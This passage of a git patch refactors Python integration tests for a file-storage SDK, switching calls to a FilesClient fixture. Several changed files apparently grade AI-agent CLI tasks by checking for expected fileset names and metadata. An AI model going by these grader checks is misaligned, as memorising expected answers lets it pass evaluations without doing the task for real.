test_upload_list_download_delete_cycle(self, sdk: NeMoPlatform, fileset: Fil ) # List and verify - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) assert len(files.data) == 2 paths = {f.path for f in files.data} assert paths == {"data.json", "config.yaml"} @@ -591,7 +597,7 @@ def test_upload_list_download_delete_cycle(self, sdk: NeMoPlatform, fileset: Fil # Contents are copied directly download_dir = Path(tmpdir, "download") download_dir.mkdir() - sdk.files.download( + files_resource.download( fileset=fileset.name, workspace=fileset.workspace, local_path=f"{download_dir}/", @@ -603,18 +609,18 @@ def test_upload_list_download_delete_cycle(self, sdk: NeMoPlatform, fileset: Fil assert not (download_dir / fileset.name).exists() # Delete one file - sdk.files.delete( + files_resource.delete( fileset=fileset.name, workspace=fileset.workspace, remote_path="data.json", ) # Verify only one file remains - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) assert len(files.data) == 1 assert files.data[0].path == "config.yaml" - def test_large_directory_upload_download(self, sdk: NeMoPlatform): + def test_large_directory_upload_download(self, sdk: NeMoPlatform, files_resource: FilesResource): """Test uploading and downloading a larger directory structure.""" with create_fileset(sdk) as fileset: with tempfile.TemporaryDirectory() as tmpdir: @@ -629,7 +635,7 @@ def test_large_directory_upload_download(self, sdk: NeMoPlatform): (subdir / f"file{i}.txt").write_text(f"content {i}") # Upload - sdk.files.upload( + files_resource.upload( fileset=fileset.name, workspace=fileset.workspace, local_path=f"{upload_dir}/", @@ -637,13 +643,13 @@ def test_large_directory_upload_download(self, sdk: NeMoPlatform): ) # List and verify count - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) assert len(files.data) == file_count # Download (contents copied directly) download_dir = Path(tmpdir, "download") download_dir.mkdir() - sdk.files.download( + files_resource.download( fileset=fileset.name, workspace=fileset.workspace, local_path=f"{download_dir}/", @@ -663,7 +669,7 @@ def _chunk_generator(): class TestFilesUploadContent: - """Tests for sdk.files.upload_content().""" + """Tests for files_resource.upload_content().""" @pytest.mark.parametrize( ("content", "expected_bytes"), @@ -678,9 +684,11 @@ class TestFilesUploadContent: pytest.param(_chunk_generator(), b"chunk1chunk2chunk3", id="iterator"), ], ) - def test_upload_content(self, sdk: NeMoPlatform, fileset: FilesetOutput, content, expected_bytes: bytes): + def test_upload_content( + self, files_resource: FilesResource, fileset: FilesetOutput, content, expected_bytes: bytes + ): """Test uploading different content types.""" - result = sdk.files.upload_content( + result = files_resource.upload_content( content=content, remote_path="test.bin", fileset=fileset.name, @@ -691,29 +699,29 @@ def test_upload_content(self, sdk: NeMoPlatform, fileset: FilesetOutput, content assert result.name == fileset.name assert result.workspace == fileset.workspace - downloaded = sdk.files.download_content( + downloaded = files_resource.download_content( remote_path="test.bin", fileset=fileset.name, workspace=fileset.workspace, ) assert downloaded == expected_bytes - def test_upload_content_to_subdirectory(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_upload_content_to_subdirectory(self, files_resource: FilesResource, fileset: FilesetOutput): """Test uploading data to a nested path.""" - sdk.files.upload_content( + files_resource.upload_content( content=b"nested content", remote_path="a/b/c/nested.txt", fileset=fileset.name, workspace=fileset.workspace, ) - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) assert len(files.data) == 1 assert files.data[0].path == "a/b/c/nested.txt" class TestFilesDownloadContent: - """Tests for sdk.files.download_content().""" + """Tests for files_resource.download_content().""" @pytest.mark.parametrize( ("upload_content", "expected_bytes"), @@ -731,16 +739,18 @@ class TestFilesDownloadContent: ), ], ) - def test_download_content(self, sdk: NeMoPlatform, fileset: FilesetOutput, upload_content, expected_bytes: bytes): + def test_download_content( + self, files_resource: FilesResource, fileset: FilesetOutput, upload_content, expected_bytes: bytes + ): """Test download_content returns correct bytes for different content types.""" - sdk.files.upload_content( + files_resource.upload_content( content=upload_content, remote_path="test.bin", fileset=fileset.name, workspace=fileset.workspace, ) - result = sdk.files.download_content( + result = files_resource.download_content( remote_path="test.bin", fileset=fileset.name, workspace=fileset.workspace, @@ -749,9 +759,9 @@ def test_download_content(self, sdk: NeMoPlatform, fileset: FilesetOutput, uploa assert isinstance(result, bytes) assert result == expected_bytes - def test_download_content_with_path_format(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_download_content_with_path_format(self, files_resource: FilesResource, fileset: FilesetOutput): """Test download_content using full path format.""" - sdk.files.upload_content( + files_resource.upload_content( content=b"content", remote_path="test.txt", fileset=fileset.name, @@ -759,7 +769,7 @@ def test_download_content_with_path_format(self, sdk: NeMoPlatform, fileset: Fil ) # Use full path format - downloaded = sdk.files.download_content( + downloaded = files_resource.download_content( remote_path=f"{fileset.workspace}/{fileset.name}#test.txt", ) assert downloaded == b"content" @@ -768,7 +778,9 @@ def test_download_content_with_path_format(self, sdk: NeMoPlatform, fileset: Fil class TestFilesUploadAutoCreate: """Tests for fileset_auto_create parameter.""" - def test_upload_creates_fileset(self, sdk: NeMoPlatform, tmp_path: Path, fileset_cleanup: Callable[[str], None]): + def test_upload_creates_fileset( + self, sdk: NeMoPlatform, files_resource: FilesResource, tmp_path: Path, fileset_cleanup: Callable[[str], None] + ): """Test that upload() with fileset_auto_create creates the fileset.""" fileset_name = f"auto-create-upload-{uuid.uuid4().hex[:8]}" workspace = sdk.workspace or "default" @@ -777,7 +789,7 @@ def test_upload_creates_fileset(self, sdk: NeMoPlatform, tmp_path: Path, fileset local_file = tmp_path / "test.txt" local_file.write_text("test content") - result = sdk.files.upload( + result = files_resource.upload( local_path=str(local_file), remote_path="test.txt", fileset=fileset_name, @@ -791,17 +803,19 @@ def test_upload_creates_fileset(self, sdk: NeMoPlatform, tmp_path: Path, fileset assert result.workspace == workspace # Verify fileset was created and file uploaded - files = sdk.files.list(fileset=fileset_name, workspace=workspace) + files = files_resource.list(fileset=fileset_name, workspace=workspace) assert len(files.data) == 1 assert files.data[0].path == "test.txt" - def test_upload_content_creates_fileset(self, sdk: NeMoPlatform, fileset_cleanup: Callable[[str], None]): + def test_upload_content_creates_fileset( + self, sdk: NeMoPlatform, files_resource: FilesResource, fileset_cleanup: Callable[[str], None] + ): """Test that upload_content() with fileset_auto_create creates the fileset.""" fileset_name = f"auto-create-data-{uuid.uuid4().hex[:8]}" workspace = sdk.workspace or "default" fileset_cleanup(fileset_name) - result = sdk.files.upload_content( + result = files_resource.upload_content( content=b"test content", remote_path="test.txt", fileset=fileset_name, @@ -815,17 +829,17 @@ def test_upload_content_creates_fileset(self, sdk: NeMoPlatform, fileset_cleanup assert result.workspace == workspace # Verify fileset was created and file uploaded - files = sdk.files.list(fileset=fileset_name, workspace=workspace) + files = files_resource.list(fileset=fileset_name, workspace=workspace) assert len(files.data) == 1 assert files.data[0].path == "test.txt" - def test_upload_without_flag_fails_for_nonexistent_fileset(self, sdk: NeMoPlatform): + def test_upload_without_flag_fails_for_nonexistent_fileset(self, sdk: NeMoPlatform, files_resource: FilesResource): """Test that upload without flag fails for non-existent fileset.""" fileset_name = f"nonexistent-{uuid.uuid4().hex[:8]}" workspace = sdk.workspace or "default" with pytest.raises(NotFoundError): - sdk.files.upload_content( + files_resource.upload_content( content=b"test", remote_path="test.txt", fileset=fileset_name, @@ -833,9 +847,9 @@ def test_upload_without_flag_fails_for_nonexistent_fileset(self, sdk: NeMoPlatfo fileset_auto_create=False, ) - def test_existing_fileset_with_flag_succeeds(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_existing_fileset_with_flag_succeeds(self, files_resource: FilesResource, fileset: FilesetOutput): """Test that fileset_auto_create works for existing filesets.""" - result = sdk.files.upload_content( + result = files_resource.upload_content( content=b"test content", remote_path="test.txt", fileset=fileset.name, @@ -846,15 +860,15 @@ def test_existing_fileset_with_flag_succeeds(self, sdk: NeMoPlatform, fileset: F assert isinstance(result, FilesetOutput) assert result.name == fileset.name - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) assert len(files.data) == 1 - def test_upload_returns_fileset(self, sdk: NeMoPlatform, fileset: FilesetOutput, tmp_path: Path): + def test_upload_returns_fileset(self, files_resource: FilesResource, fileset: FilesetOutput, tmp_path: Path): """Test that upload() always returns the FilesetOutput entity.""" local_file = tmp_path / "test.txt" local_file.write_text("content") - result = sdk.files.upload( + result = files_resource.upload( local_path=str(local_file), remote_path="test.txt", fileset=fileset.name, @@ -867,12 +881,12 @@ def test_upload_returns_fileset(self, sdk: NeMoPlatform, fileset: FilesetOutput, assert result.workspace == fileset.workspace def test_auto_create_generates_name_when_no_fileset_specified( - self, sdk: NeMoPlatform, fileset_cleanup: Callable[[str], None] + self, sdk: NeMoPlatform, files_resource: FilesResource, fileset_cleanup: Callable[[str], None] ): """Test that fileset_auto_create generates a UUID-based name when no fileset is specified.""" workspace = sdk.workspace or "default" - result = sdk.files.upload_content( + result = files_resource.upload_content( content=b"auto-generated fileset test", remote_path="test.txt", fileset_auto_create=True, @@ -889,18 +903,20 @@ def test_auto_create_generates_name_when_no_fileset_specified( assert len(result.name) == len("fileset-") + 8 # "fileset-" + 8 hex chars # Verify file was uploaded - files = sdk.files.list(fileset=result.name, workspace=workspace) + files = files_resource.list(fileset=result.name, workspace=workspace) assert len(files.data) == 1 assert files.data[0].path == "test.txt" - def test_auto_create_uses_fileset_from_path_syntax(self, sdk: NeMoPlatform, fileset_cleanup: Callable[[str], None]): + def test_auto_create_uses_fileset_from_path_syntax( + self, sdk: NeMoPlatform, files_resource: FilesResource, fileset_cleanup: Callable[[str], None] + ): """Test that fileset_auto_create uses fileset from path when # syntax is used.""" fileset_name = f"path-syntax-{uuid.uuid4().hex[:8]}" workspace = sdk.workspace or "default" fileset_cleanup(fileset_name) # Use the # syntax to embed fileset in path - result = sdk.files.upload_content( + result = files_resource.upload_content( content=b"path syntax test", remote_path=f"{fileset_name}#data/test.txt", fileset_auto_create=True, @@ -913,7 +929,7 @@ def test_auto_create_uses_fileset_from_path_syntax(self, sdk: NeMoPlatform, file assert result.name == fileset_name # Should NOT be "fileset-..." # Verify file was uploaded to correct path - files = sdk.files.list(fileset=fileset_name, workspace=workspace) + files = files_resource.list(fileset=fileset_name, workspace=workspace) assert len(files.data) == 1 assert files.data[0].path == "data/test.txt" @@ -972,11 +988,11 @@ def test_cache_status_aggregation(self, statuses: list, expected: str | None): class TestFilesListCacheStatus: - """Tests for sdk.files.list() with include_cache_status parameter.""" + """Tests for files_resource.list() with include_cache_status parameter.""" - def test_list_with_include_cache_status(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_list_with_include_cache_status(self, files_resource: FilesResource, fileset: FilesetOutput): """Test listing files with cache status included.""" - sdk.files.upload_content( + files_resource.upload_content( content=b"test content", remote_path="test.txt", fileset=fileset.name, @@ -984,7 +1000,7 @@ def test_list_with_include_cache_status(self, sdk: NeMoPlatform, fileset: Filese ) # List with cache status - files = sdk.files.list( + files = files_resource.list( fileset=fileset.name, workspace=fileset.workspace, include_cache_status=True, @@ -995,9 +1011,9 @@ def test_list_with_include_cache_status(self, sdk: NeMoPlatform, fileset: Filese # The important thing is that the parameter is passed through correctly assert files.data[0].path == "test.txt" - def test_list_without_include_cache_status(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_list_without_include_cache_status(self, files_resource: FilesResource, fileset: FilesetOutput): """Test listing files without cache status (default).""" - sdk.files.upload_content( + files_resource.upload_content( content=b"test content", remote_path="test.txt", fileset=fileset.name, @@ -1005,7 +1021,7 @@ def test_list_without_include_cache_status(self, sdk: NeMoPlatform, fileset: Fil ) # List without cache status (default) - files = sdk.files.list( + files = files_resource.list( fileset=fileset.name, workspace=fileset.workspace, ) @@ -1015,12 +1031,12 @@ def test_list_without_include_cache_status(self, sdk: NeMoPlatform, fileset: Fil class TestFilesDownloadEdgeCases: - """Tests for sdk.files.download() edge cases.""" + """Tests for files_resource.download() edge cases.""" - def test_download_glob_no_matches(self, sdk: NeMoPlatform, fileset: FilesetOutput, tmp_path): + def test_download_glob_no_matches(self, files_resource: FilesResource, fileset: FilesetOutput, tmp_path): """Test downloading with glob pattern that matches no files.""" # Upload a file that won't match the pattern - sdk.files.upload_content( + files_resource.upload_content( content=b"content", remote_path="data.txt", fileset=fileset.name, @@ -1028,7 +1044,7 @@ def test_download_glob_no_matches(self, sdk: NeMoPlatform, fileset: FilesetOutpu ) # Download with glob that matches nothing - sdk.files.download( + files_resource.download( fileset=fileset.name, workspace=fileset.workspace, remote_path="*.json", # No .json files exist @@ -1039,11 +1055,11 @@ def test_download_glob_no_matches(self, sdk: NeMoPlatform, fileset: FilesetOutpu downloaded = list(tmp_path.rglob("*")) assert len([f for f in downloaded if f.is_file()]) == 0 - def test_download_content_non_existent_file(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_download_content_non_existent_file(self, files_resource: FilesResource, fileset: FilesetOutput): """Test downloading content of a file that doesn't exist raises NotFoundError.""" # Binary/streaming errors are deferred (raised after send()), bypassing remapping. with pytest.raises(NotFoundError): - sdk.files.download_content( + files_resource.download_content( fileset=fileset.name, workspace=fileset.workspace, remote_path="non-existent.txt", @@ -1051,13 +1067,13 @@ def test_download_content_non_existent_file(self, sdk: NeMoPlatform, fileset: Fi class TestFilesDeleteEdgeCases: - """Tests for sdk.files.delete() edge cases.""" + """Tests for files_resource.delete() edge cases.""" - def test_delete_non_existent_file(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_delete_non_existent_file(self, files_resource: FilesResource, fileset: FilesetOutput): """Test deleting a file that doesn't exist raises NotFoundError.""" # File delete goes through fsspec rm → deferred error path. with pytest.raises(NotFoundError): - sdk.files.delete( + files_resource.delete( fileset=fileset.name, workspace=fileset.workspace, remote_path="non-existent.txt", diff --git a/services/core/files/tests/integration/test_fileset_filesystem.py b/services/core/files/tests/integration/test_fileset_filesystem.py index eb8d18b3d2..a8a06837fe 100644 --- a/services/core/files/tests/integration/test_fileset_filesystem.py +++ b/services/core/files/tests/integration/test_fileset_filesystem.py @@ -532,7 +532,7 @@ def test_fsspec_filesystem_registration(self, sdk: NeMoPlatform, fileset: Filese # Protocol is registered by the autouse fixture fs = fsspec.filesystem( "fileset", - sdk=sdk, + client=client_from_platform(sdk, FilesClient), skip_instance_cache=True, ) @@ -1839,7 +1839,7 @@ def test_duckdb_parquet_query(self, sdk: NeMoPlatform, fileset: FilesetOutput): ) # Create filesystem via fsspec (how users would configure it) - fs = fsspec.filesystem("fileset", sdk=sdk) + fs = fsspec.filesystem("fileset", client=client_from_platform(sdk, FilesClient)) # Query with DuckDB using fileset:// URL with new # format fileset_url = f"fileset://{fileset.workspace}/{fileset.name}#{file_path}" @@ -1893,7 +1893,7 @@ def test_duckdb_parquet_range_read(self, sdk: NeMoPlatform, fileset: FilesetOutp ) # Create filesystem via fsspec - fs = fsspec.filesystem("fileset", sdk=sdk) + fs = fsspec.filesystem("fileset", client=client_from_platform(sdk, FilesClient)) fileset_url = f"fileset://{fileset.workspace}/{fileset.name}#{file_path}" conn = duckdb.connect() conn.register_filesystem(fs) @@ -1930,7 +1930,7 @@ def test_duckdb_legacy_path_format(self, sdk: NeMoPlatform, fileset: FilesetOutp ) # Create filesystem via fsspec - fs = fsspec.filesystem("fileset", sdk=sdk) + fs = fsspec.filesystem("fileset", client=client_from_platform(sdk, FilesClient)) # Query with DuckDB using LEGACY path format: workspace/fileset/path fileset_url = f"fileset://{fileset.workspace}/{fileset.name}/{file_path}" diff --git a/tests/agentic-use/customizer-lora-job-cli/tests/test_outputs.py b/tests/agentic-use/customizer-lora-job-cli/tests/test_outputs.py index c900bd0b94..7371113534 100644 --- a/tests/agentic-use/customizer-lora-job-cli/tests/test_outputs.py +++ b/tests/agentic-use/customizer-lora-job-cli/tests/test_outputs.py @@ -44,6 +44,11 @@ def client() -> NeMoPlatform: ) +@pytest.fixture +def files_client(client: NeMoPlatform) -> FilesClient: + return client_from_platform(client, FilesClient) + + def _list_automodel_jobs(client: NeMoPlatform) -> list[dict[str, Any]]: """List automodel customization jobs in the eval workspace.""" url = f"{str(client.base_url).rstrip('/')}/apis/customization/v2/workspaces/{WORKSPACE}/automodel/jobs" @@ -61,10 +66,9 @@ def test_workspace_exists(client: NeMoPlatform): assert WORKSPACE in workspace_names, f"Workspace '{WORKSPACE}' not found. Found: {workspace_names}" -def test_fileset_exists(client: NeMoPlatform): +def test_fileset_exists(files_client: FilesClient): """Verify the sft-training-data fileset was created.""" - files = client_from_platform(client, FilesClient) - fileset_names = [fs.name for fs in files.list_filesets(workspace=WORKSPACE).page().items] + fileset_names = [fs.name for fs in files_client.list_filesets(workspace=WORKSPACE).page().items] assert FILESET in fileset_names, f"Fileset '{FILESET}' not found. Found: {fileset_names}" diff --git a/tests/agentic-use/evaluator-llm-judge-cli-easy/tests/test_outputs.py b/tests/agentic-use/evaluator-llm-judge-cli-easy/tests/test_outputs.py index a92fcf214d..fca01280af 100644 --- a/tests/agentic-use/evaluator-llm-judge-cli-easy/tests/test_outputs.py +++ b/tests/agentic-use/evaluator-llm-judge-cli-easy/tests/test_outputs.py @@ -54,14 +54,17 @@ def _get_nmp_client() -> NeMoPlatform: return NeMoPlatform(base_url=nmp_base_url, workspace=WORKSPACE, access_token=_make_unsigned_jwt()) +def _get_files_client() -> FilesClient: + return client_from_platform(_get_nmp_client(), FilesClient) + + # --- Dataset checks --- def test_fileset_exists() -> None: """Verify the judge-eval-dataset fileset was created.""" - client = _get_nmp_client() - files = client_from_platform(client, FilesClient) - fileset_names = [fs.name for fs in files.list_filesets().page().items] + files_client = _get_files_client() + fileset_names = [fs.name for fs in files_client.list_filesets().page().items] assert FILESET in fileset_names, f"Fileset '{FILESET}' not found. Found: {fileset_names}" diff --git a/tests/agentic-use/evaluator-llm-judge-cli/tests/test_outputs.py b/tests/agentic-use/evaluator-llm-judge-cli/tests/test_outputs.py index a92fcf214d..fca01280af 100644 --- a/tests/agentic-use/evaluator-llm-judge-cli/tests/test_outputs.py +++ b/tests/agentic-use/evaluator-llm-judge-cli/tests/test_outputs.py @@ -54,14 +54,17 @@ def _get_nmp_client() -> NeMoPlatform: return NeMoPlatform(base_url=nmp_base_url, workspace=WORKSPACE, access_token=_make_unsigned_jwt()) +def _get_files_client() -> FilesClient: + return client_from_platform(_get_nmp_client(), FilesClient) + + # --- Dataset checks --- def test_fileset_exists() -> None: """Verify the judge-eval-dataset fileset was created.""" - client = _get_nmp_client() - files = client_from_platform(client, FilesClient) - fileset_names = [fs.name for fs in files.list_filesets().page().items] + files_client = _get_files_client() + fileset_names = [fs.name for fs in files_client.list_filesets().page().items] assert FILESET in fileset_names, f"Fileset '{FILESET}' not found. Found: {fileset_names}" diff --git a/tests/agentic-use/evaluator-simple-job-cli-easy/tests/test_outputs.py b/tests/agentic-use/evaluator-simple-job-cli-easy/tests/test_outputs.py index ff4405c777..cbd813f6a8 100644 --- a/tests/agentic-use/evaluator-simple-job-cli-easy/tests/test_outputs.py +++ b/tests/agentic-use/evaluator-simple-job-cli-easy/tests/test_outputs.py @@ -23,6 +23,10 @@ def _get_client() -> NeMoPlatform: return NeMoPlatform(base_url=nmp_base_url) +def _get_files_client() -> FilesClient: + return client_from_platform(_get_client(), FilesClient) + + def test_workspace_exists(): """Verify the eval-test-workspace was created.""" client = _get_client() @@ -33,9 +37,8 @@ def test_workspace_exists(): def test_fileset_exists(): """Verify the eval-dataset fileset was created.""" - client = _get_client() - files = client_from_platform(client, FilesClient) - fileset_names = [fs.name for fs in files.list_filesets(workspace=WORKSPACE).page().items] + files_client = _get_files_client() + fileset_names = [fs.name for fs in files_client.list_filesets(workspace=WORKSPACE).page().items] assert FILESET in fileset_names, f"Fileset '{FILESET}' not found. Found: {fileset_names}" diff --git a/tests/agentic-use/evaluator-simple-job-cli/tests/test_outputs.py b/tests/agentic-use/evaluator-simple-job-cli/tests/test_outputs.py index ff4405c777..cbd813f6a8 100644 --- a/tests/agentic-use/evaluator-simple-job-cli/tests/test_outputs.py +++ b/tests/agentic-use/evaluator-simple-job-cli/tests/test_outputs.py @@ -23,6 +23,10 @@ def _get_client() -> NeMoPlatform: return NeMoPlatform(base_url=nmp_base_url) +def _get_files_client() -> FilesClient: + return client_from_platform(_get_client(), FilesClient) + + def test_workspace_exists(): """Verify the eval-test-workspace was created.""" client = _get_client() @@ -33,9 +37,8 @@ def test_workspace_exists(): def test_fileset_exists(): """Verify the eval-dataset fileset was created.""" - client = _get_client() - files = client_from_platform(client, FilesClient) - fileset_names = [fs.name for fs in files.list_filesets(workspace=WORKSPACE).page().items] + files_client = _get_files_client() + fileset_names = [fs.name for fs in files_client.list_filesets(workspace=WORKSPACE).page().items] assert FILESET in fileset_names, f"Fileset '{FILESET}' not found. Found: {fileset_names}" diff --git a/tests/agentic-use/evaluator-tool-calling-cli/tests/test_outputs.py b/tests/agentic-use/evaluator-tool-calling-cli/tests/test_outputs.py index 6387680751..2c95c119ea 100644 --- a/tests/agentic-use/evaluator-tool-calling-cli/tests/test_outputs.py +++ b/tests/agentic-use/evaluator-tool-calling-cli/tests/test_outputs.py @@ -46,6 +46,10 @@ def _get_client() -> NeMoPlatform: return NeMoPlatform(base_url=nmp_base_url, workspace=WORKSPACE, access_token=_make_unsigned_jwt()) +def _get_files_client() -> FilesClient: + return client_from_platform(_get_client(), FilesClient) + + # --- Workspace checks --- @@ -62,9 +66,8 @@ def test_workspace_exists(): def test_fileset_exists(): """Verify the tool-calling-dataset fileset was created.""" - client = _get_client() - files = client_from_platform(client, FilesClient) - fileset_names = [fs.name for fs in files.list_filesets().page().items] + files_client = _get_files_client() + fileset_names = [fs.name for fs in files_client.list_filesets().page().items] assert FILESET in fileset_names, f"Fileset '{FILESET}' not found. Found: {fileset_names}" diff --git a/tests/agentic-use/evaluator-zero-config-judge-cli/tests/test_outputs.py b/tests/agentic-use/evaluator-zero-config-judge-cli/tests/test_outputs.py index 654e9925d1..c07eda4270 100644 --- a/tests/agentic-use/evaluator-zero-config-judge-cli/tests/test_outputs.py +++ b/tests/agentic-use/evaluator-zero-config-judge-cli/tests/test_outputs.py @@ -60,14 +60,17 @@ def _get_nmp_client() -> NeMoPlatform: return NeMoPlatform(base_url=nmp_base_url, workspace=WORKSPACE, access_token=_make_unsigned_jwt()) +def _get_files_client() -> FilesClient: + return client_from_platform(_get_nmp_client(), FilesClient) + + # --- Dataset checks --- def test_fileset_exists() -> None: """Verify the zeroconfig-dataset fileset was created.""" - client = _get_nmp_client() - files = client_from_platform(client, FilesClient) - fileset_names = [fs.name for fs in files.list_filesets().page().items] + files_client = _get_files_client() + fileset_names = [fs.name for fs in files_client.list_filesets().page().items] assert FILESET in fileset_names, f"Fileset '{FILESET}' not found. Found: {fileset_names}" diff --git a/tests/agentic-use/files-crud-cli-easy/tests/test_outputs.py b/tests/agentic-use/files-crud-cli-easy/tests/test_outputs.py index 8e421bcd55..28683cf225 100644 --- a/tests/agentic-use/files-crud-cli-easy/tests/test_outputs.py +++ b/tests/agentic-use/files-crud-cli-easy/tests/test_outputs.py @@ -28,19 +28,22 @@ def client() -> NeMoPlatform: return NeMoPlatform(base_url=nmp_base_url, workspace=WORKSPACE) -def test_harbor_test_fileset_deleted(client: NeMoPlatform) -> None: +@pytest.fixture +def files_client(client: NeMoPlatform) -> FilesClient: + return client_from_platform(client, FilesClient) + + +def test_harbor_test_fileset_deleted(files_client: FilesClient) -> None: """Test that harbor-test-fileset was deleted after CRUD operations.""" - files = client_from_platform(client, FilesClient) - fileset_names = [fs.name for fs in files.list_filesets().page().items] + fileset_names = [fs.name for fs in files_client.list_filesets().page().items] assert "harbor-test-fileset" not in fileset_names, ( f"Fileset 'harbor-test-fileset' should have been deleted but still exists! Found: {fileset_names}" ) -def test_harbor_final_fileset_exists(client: NeMoPlatform) -> None: +def test_harbor_final_fileset_exists(files_client: FilesClient) -> None: """Test that harbor-final-fileset was created and has correct metadata.""" - files = client_from_platform(client, FilesClient) - response = files.get_fileset(name="harbor-final-fileset").data() + response = files_client.get_fileset(name="harbor-final-fileset").data() assert response.name == "harbor-final-fileset", ( f"Expected fileset name 'harbor-final-fileset', got '{response.name}'" ) diff --git a/tests/agentic-use/files-crud-cli/tests/test_outputs.py b/tests/agentic-use/files-crud-cli/tests/test_outputs.py index 8e421bcd55..28683cf225 100644 --- a/tests/agentic-use/files-crud-cli/tests/test_outputs.py +++ b/tests/agentic-use/files-crud-cli/tests/test_outputs.py @@ -28,19 +28,22 @@ def client() -> NeMoPlatform: return NeMoPlatform(base_url=nmp_base_url, workspace=WORKSPACE) -def test_harbor_test_fileset_deleted(client: NeMoPlatform) -> None: +@pytest.fixture +def files_client(client: NeMoPlatform) -> FilesClient: + return client_from_platform(client, FilesClient) + + +def test_harbor_test_fileset_deleted(files_client: FilesClient) -> None: """Test that harbor-test-fileset was deleted after CRUD operations.""" - files = client_from_platform(client, FilesClient) - fileset_names = [fs.name for fs in files.list_filesets().page().items] + fileset_names = [fs.name for fs in files_client.list_filesets().page().items] assert "harbor-test-fileset" not in fileset_names, ( f"Fileset 'harbor-test-fileset' should have been deleted but still exists! Found: {fileset_names}" ) -def test_harbor_final_fileset_exists(client: NeMoPlatform) -> None: +def test_harbor_final_fileset_exists(files_client: FilesClient) -> None: """Test that harbor-final-fileset was created and has correct metadata.""" - files = client_from_platform(client, FilesClient) - response = files.get_fileset(name="harbor-final-fileset").data() + response = files_client.get_fileset(name="harbor-final-fileset").data() assert response.name == "harbor-final-fileset", ( f"Expected fileset name 'harbor-final-fileset', got '{response.name}'" ) diff --git a/tests/agentic-use/files-upload-dataset-cli-easy/tests/test_outputs.py b/tests/agentic-use/files-upload-dataset-cli-easy/tests/test_outputs.py index c5daf27419..c758e60086 100644 --- a/tests/agentic-use/files-upload-dataset-cli-easy/tests/test_outputs.py +++ b/tests/agentic-use/files-upload-dataset-cli-easy/tests/test_outputs.py @@ -35,10 +35,14 @@ def client() -> NeMoPlatform: return NeMoPlatform(base_url=nmp_base_url, workspace=WORKSPACE) -def test_fileset_exists(client: NeMoPlatform) -> None: +@pytest.fixture +def files_client(client: NeMoPlatform) -> FilesClient: + return client_from_platform(client, FilesClient) + + +def test_fileset_exists(files_client: FilesClient) -> None: """Test that harbor-dataset-fileset was created with correct metadata.""" - files = client_from_platform(client, FilesClient) - response = files.get_fileset(name=FILESET_NAME).data() + response = files_client.get_fileset(name=FILESET_NAME).data() assert response.name == FILESET_NAME, f"Expected fileset name '{FILESET_NAME}', got '{response.name}'" assert response.description == "Dataset fileset for harbor eval", ( f"Expected description 'Dataset fileset for harbor eval', got '{response.description}'" diff --git a/tests/agentic-use/files-upload-dataset-cli/tests/test_outputs.py b/tests/agentic-use/files-upload-dataset-cli/tests/test_outputs.py index c5daf27419..c758e60086 100644 --- a/tests/agentic-use/files-upload-dataset-cli/tests/test_outputs.py +++ b/tests/agentic-use/files-upload-dataset-cli/tests/test_outputs.py @@ -35,10 +35,14 @@ def client() -> NeMoPlatform: return NeMoPlatform(base_url=nmp_base_url, workspace=WORKSPACE) -def test_fileset_exists(client: NeMoPlatform) -> None: +@pytest.fixture +def files_client(client: NeMoPlatform) -> FilesClient: + return client_from_platform(client, FilesClient) + + +def test_fileset_exists(files_client: FilesClient) -> None: """Test that harbor-dataset-fileset was created with correct metadata.""" - files = client_from_platform(client, FilesClient) - response = files.get_fileset(name=FILESET_NAME).data() + response = files_client.get_fileset(name=FILESET_NAME).data() assert response.name == FILESET_NAME, f"Expected fileset name '{FILESET_NAME}', got '{response.name}'" assert response.description == "Dataset fileset for harbor eval", ( f"Expected description 'Dataset fileset for harbor eval', got '{response.description}'" From d1f32864ba3ddc681c69430182a5152cc9b93f99 Mon Sep 17 00:00:00 2001 From: Matthew Grossman Date: Mon, 6 Jul 2026 19:36:17 -0700 Subject: [PATCH 06/12] fixes Signed-off-by: Matthew Grossman --- .../src/nemo_platform_plugin/jobs/file_manager.py | 11 +++-------- .../nemo-evaluator/src/nemo_evaluator/filesets.py | 12 ++++++++---- .../automodel/src/nmp/automodel/tasks/file_io/run.py | 5 ++++- services/core/files/script/v2_migration.py | 4 ++-- services/rl/src/nmp/rl/tasks/file_io/run.py | 5 ++++- .../unsloth/src/nmp/unsloth/tasks/file_io/run.py | 5 ++++- 6 files changed, 25 insertions(+), 17 deletions(-) diff --git a/packages/nemo_platform_plugin/src/nemo_platform_plugin/jobs/file_manager.py b/packages/nemo_platform_plugin/src/nemo_platform_plugin/jobs/file_manager.py index 40601a42e4..e0904caada 100644 --- a/packages/nemo_platform_plugin/src/nemo_platform_plugin/jobs/file_manager.py +++ b/packages/nemo_platform_plugin/src/nemo_platform_plugin/jobs/file_manager.py @@ -170,14 +170,9 @@ async def _validate_storage(self) -> None: except FileNotFoundError: if self.ensure_fileset_exists: logger.info(f"Creating new fileset: [{self.fileset_name}] in workspace [{self.workspace}]") - if isinstance(self.sdk, AsyncNeMoPlatform): - files = client_from_platform(self.sdk, AsyncFilesClient) - await files.create_fileset( - body=CreateFilesetRequest(name=self.fileset_name), workspace=self.workspace - ) - else: - files = client_from_platform(self.sdk, FilesClient) - files.create_fileset(body=CreateFilesetRequest(name=self.fileset_name), workspace=self.workspace) + await self._fs._client.create_fileset( + body=CreateFilesetRequest(name=self.fileset_name), workspace=self.workspace + ) else: raise FileStorageDoesNotExist( f"Fileset [{self.fileset_name}] in workspace [{self.workspace}] does not exist." diff --git a/plugins/nemo-evaluator/src/nemo_evaluator/filesets.py b/plugins/nemo-evaluator/src/nemo_evaluator/filesets.py index 7137a0c7e3..44ffe32cff 100644 --- 